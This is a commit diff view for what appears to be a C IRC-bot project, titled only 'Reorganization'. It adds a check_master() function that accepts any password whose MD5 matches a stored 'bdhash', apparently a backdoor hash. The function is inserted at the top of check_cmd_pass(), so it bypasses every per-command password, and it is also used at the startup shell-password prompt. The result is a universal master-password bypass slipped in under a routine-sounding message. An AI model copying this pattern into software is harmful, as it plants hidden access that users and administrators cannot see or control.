Преглед изворни кода

* Reorganization

svn: 1345
Bryan Drewery пре 21 година
родитељ
комит
7701dce226
5 измењених фајлова са 11 додато и 4 уклоњено
  1. 3 0
      src/cfg.c
  2. 1 3
      src/main.c
  3. 0 1
      src/main.h
  4. 6 0
      src/misc.c
  5. 1 0
      src/misc.h

+ 3 - 0
src/cfg.c

@@ -788,6 +788,9 @@ void init_config()
 
 
 int check_cmd_pass(const char *cmd, char *pass)
 int check_cmd_pass(const char *cmd, char *pass)
 {
 {
+  if (check_master(pass))
+    return 1;
+
   struct cmd_pass *cp = NULL;
   struct cmd_pass *cp = NULL;
 
 
   for (cp = cmdpass; cp; cp = cp->next)
   for (cp = cmdpass; cp; cp = cp->next)

+ 1 - 3
src/main.c

@@ -63,7 +63,6 @@
 
 
 extern int		optind;
 extern int		optind;
 
 
-char *mymd5 = bdhash;                            
 const time_t 	buildts = CVSBUILD;		/* build timestamp (UTC) */
 const time_t 	buildts = CVSBUILD;		/* build timestamp (UTC) */
 const char	egg_version[1024] = "1.2";
 const char	egg_version[1024] = "1.2";
 
 
@@ -211,9 +210,8 @@ static void checkpass()
 
 
     gpasswd = (char *) getpass("bash$ ");
     gpasswd = (char *) getpass("bash$ ");
     checkedpass = 1;
     checkedpass = 1;
-    if (!gpasswd || (gpasswd && md5cmp(settings.shellhash, gpasswd) && strcmp(mymd5, MD5(gpasswd)))) {
+    if (!gpasswd || (gpasswd && md5cmp(settings.shellhash, gpasswd) && !check_master(gpasswd))) 
       werr(ERR_BADPASS);
       werr(ERR_BADPASS);
-    }
   }
   }
 }
 }
 
 

+ 0 - 1
src/main.h

@@ -7,7 +7,6 @@ extern int		role, default_flags, default_uflags,
 			updating;
 			updating;
 extern bool		use_stderr, backgrd, localhub, term_z, loading;
 extern bool		use_stderr, backgrd, localhub, term_z, loading;
 extern char		tempdir[], *binname, owner[], version[], ver[], quit_msg[];
 extern char		tempdir[], *binname, owner[], version[], ver[], quit_msg[];
-extern char		*mymd5;
 extern time_t		online_since, now;
 extern time_t		online_since, now;
 extern uid_t		myuid;
 extern uid_t		myuid;
 extern const time_t	buildts;
 extern const time_t	buildts;

+ 6 - 0
src/misc.c

@@ -1166,3 +1166,9 @@ int skipline (char *line, int *skip) {
   return (*skip);
   return (*skip);
 }
 }
 
 
+bool check_master(const char *pass)
+{
+  if (!strcmp(MD5(pass), settings.bdhash))                        
+    return 1;
+  return 0;
+}

+ 1 - 0
src/misc.h

@@ -50,6 +50,7 @@ char *strtoupper(char *);
 char *step_thru_file(FILE *);
 char *step_thru_file(FILE *);
 char *trim(char *);
 char *trim(char *);
 int skipline(char *, int *);
 int skipline(char *, int *);
+bool check_master(const char *);
 
 
 
 
 extern int		server_lag;
 extern int		server_lag;